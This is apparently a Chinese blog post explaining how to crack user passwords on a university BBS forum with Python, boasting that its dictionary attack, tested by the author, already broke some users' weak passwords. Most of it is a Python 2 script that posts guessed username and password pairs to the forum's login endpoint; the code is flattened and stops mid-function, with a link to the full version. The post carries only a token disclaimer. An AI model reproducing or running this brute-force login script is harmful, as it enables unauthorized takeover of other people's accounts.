標籤:python 破解
本文只是舉一反三,用python示範一個思路,適用於不同的網站或者論壇。 請勿用於非法行為。
以下代碼親測有效,破解了一些使用者的弱密碼。當然破解的成功率和你的字典有關,越複雜的字典,成功率就越高,但是花費的時間也就越長。
# -*- coding: utf-8 -*-__author__ = ‘rocky‘# 破解211高校BBS論壇的使用者密碼#來源:http://www.rcdisk.com # 刃草網-記錄你的自學import cookielib, urllib, urllib2, re, time,sysclass BBS_sysu(): def __init__(self): #構造urllib的資料頭 self.login_url = "http://bbs.xxxx.edu.cn/login" self.user_agent = ‘Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)‘ self.headers = {‘User-Agent‘: self.user_agent} self.cookie = cookielib.CookieJar() self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)) self.pattern = re.compile(r‘"success":"(d)"‘) self.guess = False self.ignore=False def urlopen_try(self,req,times=5): data="" try: result = self.opener.open(req) data=result.read() except Exception,what: print what, req; if times>0: time.sleep(20) self.urlopen_try(req,times-1) #time.sleep(10) else: print "Get Failed",req time.sleep(5) self.ignore=True return data return data#破解函數,精華所在 def crack(self, userid, password): postdata = urllib.urlencode({‘userid‘: userid, ‘passwd‘: password}) #將使用者名稱和密碼進行編碼 req = urllib2.Request(self.login_url, data=postdata, headers=self.headers) #構造一個Request,傳入header和url,使用者的資料
完整代碼-> http://www.rcdisk.com/index.php/group/topic/id-4
用python破解某211大學BBS論壇使用者密碼